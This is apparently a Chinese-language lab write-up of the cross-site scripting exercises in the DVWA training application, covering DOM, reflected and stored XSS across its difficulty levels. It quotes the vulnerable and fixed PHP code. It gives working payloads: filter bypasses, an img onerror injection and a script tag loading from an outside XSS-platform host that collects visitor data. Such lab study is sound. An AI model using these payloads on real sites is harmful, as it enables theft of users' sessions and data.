一、XSS
1.简介
2.XSS的原理
3.XSS的攻击方式
4.XSS的危害
5.常见XSS攻击方式
6.常见基本过滤方法
7.XSS的防御措施
8.xss平台
二、XSS(DOM)
1.LOW
2.medium
3.High
4.impossible
三、XSS (Reflected)反射型
1.Low
2.Medium
3.high
4.impossible
四、XSS (Stored)存储型
1.Low
2.Medium
3.High
4.Impossible
查看页面代码,发现xss代码以及插入并执行了。

xss平台+DOM的xss联动

打开代码界面,查看xss代码语句。

复制到dvwa的url中
返回xss平台,可以看到我点击dvwa的信息。

既然不能使用script,那么我们换一种标签,使用img进行尝试,发现还是没有出现弹窗。

查看页面代码,发现我们构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用img标签.
当我们把闭合后的img构造语句执行后,发现出现弹窗,说明存在xss注入漏洞。
</select></option><img src=1 onerror=alert('xss');>

我们继续和xss平台梦幻联动一波



xss平台也是可以的。
#<sCRiPt sRC=//0x.ax/Op6A></sCrIpT>


同样xss平台也可以实现 url输入<sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

大写绕过 <Script>alert('xss')</script>
双写绕过 <sc<script>ript>alert('xss')</script>

标签img <img src=1 οnerrοr=alert('xss');>

4.impossible
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>
代码中,增加了对token的验证来防止CSRF攻击,然后使用htmlspecialchar函数,把字符转换为实体,防止浏览器将其作为HTML元素,过滤了我们输入的任何包含脚本标记语言。从源头上把跨站脚本攻击的可能性降到了最低。

<script>alert(1)</script>

Sign登录触发存储型xss

xss平台 <sCRiPt sRC=//0x.ax/Op6A></sCrIpT>


2.Medium
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
}?>
查看源代码,发现将Message所有可能xss攻击的标签都进行了转义或过滤,但对Name仅仅限制了<script>的标签,因此我们依旧可以在Name中使用大写、双写、使用其他标签等方法来进行注入.
<Script>alert(1)</script>

4.Impossible
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>
- 查看源代码,发现使用内置的PHP函数来转义任何改变输入行为的值,并且使用token验证来防止CSRF攻击。

发表评论 取消回复